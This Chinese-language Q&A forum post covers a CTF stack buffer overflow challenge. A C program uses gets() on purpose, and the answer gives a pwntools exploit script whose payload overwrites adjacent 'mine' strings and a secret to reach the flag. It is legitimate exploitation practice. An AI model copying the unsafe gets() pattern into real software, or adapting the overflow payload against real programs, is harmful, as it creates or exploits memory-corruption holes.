如何利用缓冲区溢出来获取flag?

问题描述 投票:0回答:1

这是我的CTF挑战

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

int setup() {
    setbuf(stdin, 0);
    setbuf(stdout, 0);
}

int win() {
    char* argv[3] = {"/bin/cat", "flag.txt", NULL};
    printf("Good job!\n");
    execve("/bin/cat", argv, NULL);
}

int vuln() {
    char secret[0x10] = "[REDACTED]";
    char mine1[0x10] = "[REDACTED]";
    char mine2[0x10] = "[REDACTED]";
    char mine3[0x10] = "[REDACTED]";
    char buf[0x20] = "";

    printf("Welcome to the chamber of secrets, how would you pass the trial without knowing any secrets?\n");
    printf("Input secret:\n");
    gets(buf); // i heard i should be reading in more characters than the size of my buffer... so let's just use gets()!
    
    // make sure no mines have been set off!
    if (!strncmp(mine1, "O6FtZhpU6C6BXx16", 0x10) && !strncmp(mine2, "cZiwk5rfGFgPZYP4", 0x10) && !strncmp(mine3, "i165DnHauCmLqRHN", 0x10)) {
        printf("Mines are safe!\n");
        if (!strncmp(buf, secret, 0x10)) {
            printf("What!? Impossible!! How did you guess it!?\n");
            printf("Fine, here's the flag...\n");
            win();
            exit(0);
        } else {
            printf("Haha! You will never guess my secret!\n");
        }
    } else {
        printf("You stepped on a mine!\n");
    }
}

int main() {
    setup();
    vuln();
}

所以,我基本上尝试在 gdb 上运行它并找出导致分段错误的偏移量 104。但现在的问题是我如何防止触发地雷,我尝试了几种方法来覆盖它,通过传递 16 个“A”并遵循每个地雷的相反顺序,但它失败了。

ctf
1个回答
0
投票

您的方法是正确的,您必须溢出缓冲区以使用所需的值覆盖

mine1
mine2
mine3
的值以通过第一个条件,然后覆盖变量
secret
以将其与您输入的数据,清除两个条件后,您将获得标志。

我像这样编译了二进制文件

gcc main.c -o test

这是漏洞利用脚本,完美运行

#!/usr/bin/env python3

from pwn import *

exe = "./test"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = "debug"

# host,port = '',

p = process(exe)
# p = remote(host,port)

offset1 = 32  # offset to reach first mine
param3 = b"O6FtZhpU6C6BXx16"
param2 = b"cZiwk5rfGFgPZYP4"
param1 = b"i165DnHauCmLqRHN"
total_padding = 104
# secret = b"[REDACTED]"


payload = flat(
    b"a" * offset1,
    param1,
    param2,
    param3,
    (total_padding - len(param1) - len(param2) - len(param3) - offset1) * b"a",
)

p.sendlineafter(b":", payload)
p.interactive()

我在 ghidra 中找到了这些偏移量,尽管你也可以使用 gdb。

© www.soinside.com 2019 - 2024. All rights reserved.